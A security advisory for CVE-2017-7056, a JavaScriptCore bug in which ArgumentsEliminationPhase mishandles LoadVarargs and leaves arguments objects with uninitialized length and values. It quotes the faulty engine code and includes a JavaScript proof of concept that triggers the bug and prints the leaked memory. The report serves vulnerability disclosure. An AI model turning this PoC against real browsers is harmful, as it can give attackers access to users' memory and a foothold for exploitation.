WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling

` WebKit: JSC: Incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform   
  
CVE-2017-7056  
  
  
Here is a snippet of ArgumentsEliminationPhase::transform  
case LoadVarargs:  
...  
if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {  
...  
if (argumentCountIncludingThis <= varargsData->limit) {  
storeArgumentCountIncludingThis(argumentCountIncludingThis);  
// store arguments  
...  
}  
  
node->remove();  
node->origin.exitOK = canExit;  
break;  
}  
  
Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.  
  
PoC:  
const kArgsLength = 0x101;  
  
let buggy = null;  
function inlineFunc() {  
if (arguments.length != kArgsLength) {  
buggy = arguments;  
}  
}  
  
class ClassForInine extends inlineFunc {  
}  
  
function sleep(ms) {  
let start = new Date();  
while (new Date() - start < ms);  
}  
  
function main() {  
let args = new Array(kArgsLength);  
args.fill(333 + 1);  
args = args.join(', ');  
  
let opt = new Function(`(() => {  
new ClassForInine(${args});  
})();`);  
  
for (let i = 0; i < 0x100000; i++) {  
opt();  
  
if (i === 0x3000)  
sleep(1000);  
  
if (buggy) {  
print('buggy.length: ' + buggy.length);  
break;  
}  
}  
  
for (let i = 0, n = buggy.length; i < n; i++) {  
print(buggy[i]);  
}  
}  
  
main();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`